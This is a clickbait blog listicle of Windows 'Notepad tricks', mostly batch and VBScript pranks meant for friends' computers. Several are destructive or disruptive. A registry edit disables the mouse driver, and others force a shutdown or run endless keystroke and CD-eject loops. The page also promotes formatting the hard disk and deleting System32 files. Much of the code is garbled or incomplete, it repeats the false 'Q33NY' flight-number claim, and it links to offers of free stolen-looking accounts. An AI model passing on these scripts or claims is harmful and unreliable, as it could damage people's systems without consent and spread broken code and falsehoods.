21+ Best Notepad Tricks, Hacks & Commands in 2024

Today I’m going to share with you the Top 5 Notepad Tricks & Hacks + Codes You Should Know.

Read through the end to find helpful hacking tricks using notepad that can be game changers!

Who doesn’t know the simple extended tool provided by Microsoft to every version of Windows.

You got my point of what I’m talking about. It’s the Notepad. Utility software for Windows that helps you do basic documentations everyday.

But on the other side, it can also be used to perform various tricks and even works as a powerful tool to control and manipulate several computer programs. 

Most people use notepad for only basic purposes.

But here in this article we’ll show you the true form of notepad with some cool Notepad tricks and hacks.

Top 21 Notepad Tricks & Hacks + Codes You Should Know
Join Our Whatsapp Channel To Get 20 Rare Premium Accounts
Join Now

Best Notepad Tricks & Hacks

From basic text-based animations to powerful scripts, Notepad can be used for a variety of tricks. For instance, you can loop code to create a basic animation in Notepad. Additionally, if you’re an IT professional, you can use it to write scripts that can be used to automate tasks. It can also be used to create simple games, like Rock, Paper, Scissors, and even visual effects such as spinning cubes or bouncing balls.

Several Notepad tricks and hacks each with a unique purpose change your experience with Notepad.

With these Notepad tricks impress your friends or play pranks on unsuspecting people and have some fun.

Whatever the Windows version you’re using, the Notepad tricks discussed below will work on Windows 7, 8 and 10.

Moreover, these Notepad hacks are very simple and can be easily implemented.

Here are 20 cool Notepad tricks and hacks you should try.

List of 20 Best Notepad Tricks and Hacks

List of 20 Best Notepad Tricks and Hacks

This simple tool has incredible features that are hidden inside.

To have great fun with your friends, use the following Notepad tricks and explore more than not only taking notes and documents.

You don’t need any skills. Just copy and paste the desired code into the Notepad. 

Let us dive into these notepad hack codes!

1. Test Antivirus Using Notepad

First things first. Every PC comes with pre-installed antivirus software from various manufacturers.

To know whether it is working properly or not, use this Notepad trick to easily test its functionality. 


After copying the code, save it as .exe and run the file. If your antivirus detects it, everything is fine.

If not, switch to new antivirus software. This is one of the easiest and most useful notepad hack codes.

2. Name Notepad a Personal Diary

Make Notepad your personal diary by using this simple Notepad command.

You don’t need to install any external tools. Just do as follows.

  • Open your Notepad.
  • Type .LOG and hit enter.
  • Save it as ‘log.txt’.
  • Reopen the file.

Now, your Notepad will turn into a personal logbook/diary. Everytime you open the file, all the log details with date and time will appear.

However, the interface doesn’t look good but works better.

3. Continuously Repeat Any Messages

One of the best Notepad tricks that constantly repeats any of the messages on the computer screen.

To prank your friends, copy the code and paste it in the Notepad. Finally, save it as ‘message.bat’ and apply.

@ECHO off


msg * Hi

msg * Are you having fun?

msg * I am!

msg * Let's have some fun together!

msg * Because you have been o-w-n-e-d


Also Read – Free Cash App Username and Password: With $750 Cash Bonus

4. Repeatedly Pop Out CD Drive Using Notepad

It is one of the popular Notepad tricks. Play with your friend’s laptop by making his CD Drive pop again and again.

Even when he tries to close, it pops out repeatedly.

Therefore, to use this Notepad trick, copy the below code and save it as a ‘.vbs’ file.

To see it work, double click on the file.

Set oWMP = CreateObject(“WMPlayer.OCX.7″)

Set colCDROMs = 



if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count – 1



For i = 0 to colCDROMs.Count – 1



End If

wscript.sleep 5000


5. Make Notepad Type Slowly

Why not use some of these notepad tips and tricks to have some fun?

Want to make your friends work late. Well, this Notepad hack lets you type slower than usual. So they ask your help to sort out the problem.

To make it happen, copy the below code and paste into the Notepad.

When done, save it as ‘anyname.vbs’ and proceed.

WScript.Sleep 180000

WScript.Sleep 10000

Set WshShell = WScript.CreateObject (“WScript.Shell”)

WshShell.Run “notepad”

WScript.Sleep 100

WshShell.AppActivate Notepad“”

WScript.Sleep 500

WshShell.SendKeys “Hel”

WScript.Sleep 500

WshShell.SendKeys “lo ”

WScript.Sleep 500

WshShell.SendKeys “, ho”

WScript.Sleep 500

WshShell.SendKeys “w a”

WScript.Sleep 500

WshShell.SendKeys “re ”

WScript.Sleep 500

WshShell.SendKeys “you”

WScript.Sleep 500

WshShell.SendKeys “? ”

WScript.Sleep 500

WshShell.SendKeys “I a”

WScript.Sleep 500

WshShell.SendKeys “m g”

WScript.Sleep 500

WshShell.SendKeys “ood”

WScript.Sleep 500

WshShell.SendKeys ” th”

WScript.Sleep 500

WshShell.SendKeys “ank”

WScript.Sleep 500

WshShell.SendKeys “s! “

6. Password Protect a Folder

One of the best hacking tricks using notepad is to create a password protector.

The key to a lock.

With this Notepad trick you don’t need any folder locking software.

This Notepad Command helps you lock any of the folders with password protected.

So expect you, no one can access the files hidden inside it.

Therefore, to password protect a folder using Notepad, copy the paste the following code in the Notepad.


title Folder Private

if EXIST “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” goto UNLOCK

if NOT EXIST Private goto MDLOCKER


echo Are you sure you want to lock the folder(Y/N)

set/p “cho=>”

if %cho%==Y goto LOCK

if %cho%==y goto LOCK

if %cho%==n goto END

if %cho%==N goto END

echo Invalid choice.



ren Private “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”

attrib +h +s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”

echo Folder locked

goto End


echo Enter password to unlock folder

set/p “pass=>”

if NOT %pass%== pass.pass goto FAIL

attrib -h -s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”

ren “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” Private

echo Folder Unlocked successfully

goto End


echo Invalid password

goto end


md Private

echo Private created successfully

goto End


In the above code ‘pass.pass‘ is a password. Replace it with your own password and save the file as ‘private.bat’ to create a private folder.

When done, move all your files into it and lock it down. Don’t forget the password as it can’t be open without the password.

Also Read – Free Peacock Accounts: Watch Premium Movies, Shows Free

7. Matrix Effect

Another one of the notepad hacks codes to have some fun!

Do you have an idea of system screens in the Matrix movie i.e., ones and zeroes?

If not, then this Notepad trick will make that possible.

Therefore, to get a matrix-like text effect on your display screen, copy the following code and save the file as ‘anyname.bat’.

@echo off

color 02


echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%

goto start

8. Format Your Hard Disk via Notepad

Sounds crazy right. But this can happen when you use the Notepad script written below.

This simple Notepad script clears all your hard disk data in a matter of seconds. 


9. Toggle Caps Lock Repeatedly via Notepad

Play with someone’s computer or prank your friends by writing a Notepad script on their computer.

This Notepad trick enables the Caps Lock key to toggle itself on and off automatically for every few seconds.

Use these notepad tips and tricks to have a fun break!

To perform this action, copy and paste this code into the Notepad.

Once done, save it as a ‘.vbs’ file and see what happens.

Set wshShell =wscript.CreateObject(“WScript.Shell”)


wscript.sleep 100

wshshell.sendkeys “{CAPSLOCK}”


Also Read – 100% Working Free Paramount Plus Accounts

10. Attack the World Trade Centre

Did you know that the flight number that hit the World Trade Centre on 9/11 was ‘Q33NY’.

Don’t take it easy, this Notepad trick gives you a shock.

Checkout the process below.

  • Open the Notepad.
  • Type ‘Q3NN’ exactly without annotations.
  • After that, increase the font size to 72 and change the font type to Wingdings.

When everything is done, you’ll be definitely shocked after seeing the visual graphics.

11. Disable Mouse Controls

What would you do if all of a sudden, your mouse stopped working?

Prank on your friends by this Notepad trick that easily disables the mouse controls of your computer.

Here the script, place it in the Notepad and save it as a ‘disablemouse.bat’ file.

rem Disable Mouse

set key=”HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass”

reg delete %key%

reg add %key% /v Start /t REG_DWORD /d 4

12. Make Keyboard Lights Dance in Rhythm

This is one of our most fun notepad tips and tricks!

Generally, the three lights on top of the keyboard remain stable.

Make them blink repeatedly by using this Notepad trick. 

Set wshShell =wscript.CreateObject(“WScript.Shell”)


wscript.sleep 100

wshshell.sendkeys “{CAPSLOCK}”

wshshell.sendkeys “{NUMLOCK}”

wshshell.sendkeys “{SCROLLLOCK}”


Copy the code and save it as ‘LEDDance.vbs’.

Once you save the Notepad script mentioned above, the three lights on the keyboard will continually blink and give you a nice look.

Also Read – 100% Working Free PayPal Accounts with Money

To do it, first open the Notepad and navigate to File > Page Setup.

In the fields of Header and Footer, type any of the following codes 

&c Center the characters that follow

&r Right-align the characters that follow

&d Print the current date

&t Print the current time

&f Print the name of the document

&p Print the page number

&l Left-align the characters that follow

Generally, all the printouts of Notepad files begin with ‘untitled’ or a specific filename on top and a number at the bottom.

Use this Notepad trick and change that kind of interface for a perfect printout.

14. Type Sentences Repeatedly

One of the best Notepad tricks that helps you to annoy your friends.

Whatever the reason is, this Notepad writes any of the sentences you type again and again.

Here is the code to it.

Set wshShell = wscript.CreateObject(“WScript.Shell”)


wscript.sleep 100

wshshell.sendkeys “I’ll be typed again and again”


Paste the above mentioned code in the Notepad and save it as a ‘.vbs’ file.

Moreover, to get rid of it, close manually from the task manager.

Save this among our other playful notepad hack codes!

15. Force Shutdown Windows

Do you think that it is possible with Notepad? What if I say yes.

To force shutdown Windows, enter the following Notepad command and save it in ‘.bat’ format to force shut down the computer via Notepad.

@echo off

shutdown computer

-c “sleep tight” -s

Also Read – How to Hack a Vending Machine: 100% Working Tricks

16. Press Enter Continuously

If you’d like to irritate your friends, this Notepad trick helps you finish the job.

When you use the below code in the Notepad, then enter button will be pressed automatically without someone reaching the keyboard. To do it, follow the process.

  • Open Notepad on your PC.
  • Copy and paste the following code in your Notepad.
  • After that, save the file as ‘.vbs’ extension.
Set wshShell = wscript.CreateObject(“WScript.Shell”)


wscript.sleep 100

wshshell.sendkeys “~(enter)”


17. Hit Backspace Continuously

Similar to the Notepad trick mentioned above, prank on your friends with this Notepad command.

It clicks Backspace Continuously.

All you have to do is copy and paste the below code in the Notepad file. 

MsgBox “Backspace again and again and AGAIN”

Set wshShell =wscript.CreateObject(“WScript.Shell”)


wscript.sleep 100

wshshell.sendkeys “{bs}”


To make the above notepad code work, save it in ‘.vbs’ file format. Likewise, to stop it, simply use the task manager on Windows.

18. Deleting System32 Files stored in Hardware

To get rid of infected system32 files, the Notepad trick below will help you clear all the unwanted system32 files in a matter of seconds. 

Note: This trick will harm your PC if you did not use it correctly. Before using this Notepad trick, be sure that you don’t have any important data stored.


Also Read – 100% Working Free Snapchat Accounts with High Snap Score

19. Open Notepad Continuously

You have seen multiple notepad tricks from the lines, but this Notepad trick continually opens Notepad.

To test it, enter the code in your Notepad and save it as ‘.bat’ extension.





20. Fake Error Message

To see an error message, use the below Notepad code and save the file as ‘error.vbs’.

X=Msgbox(“Put your Message Here”,0+16,”Put Title Here”)

Replace title and message with your own keywords.

Use this along our other prank worthy notepad tips and tricks!

21. Print Tree Root

Last but not least, one of the famous Notepad tricks that can easily print out a tree root on your desktop screen.

Here’s the code.

{print tree root}


{print C:windowssystemwinlog

4*43″$@[455] 3hr4~

Paste in your Notepad and save it as teekids in C: Windows. To stop working, press ALT+CTRL+DEL and open task manager > Wscript running file.

Also Read – 100% Working Free Fake Gmail Account and Password List

Like this post? Could you share it with your friends?

Ending the Article

These are some of the best Windows Notepad tricks that let you prank on your friends in a new style.

Remember that some of the Notepad tricks and hacks mentioned above will work because of unsolved bugs present in Windows.

Upon updates those might not work.

However, to do so, use the rest of the Notepad tricks and annoy your friends like never before.

If you like the post, share it with your friends and reach us through the comment section for queries.

Disclaimer: The provided accounts are offered for free on an as-is basis. We do not guarantee their status or functionality, and we are not liable for any issues that may arise from their use. You assume all risks and responsibility for any consequences that may result from using these accounts.

Recent Articles

Related Stories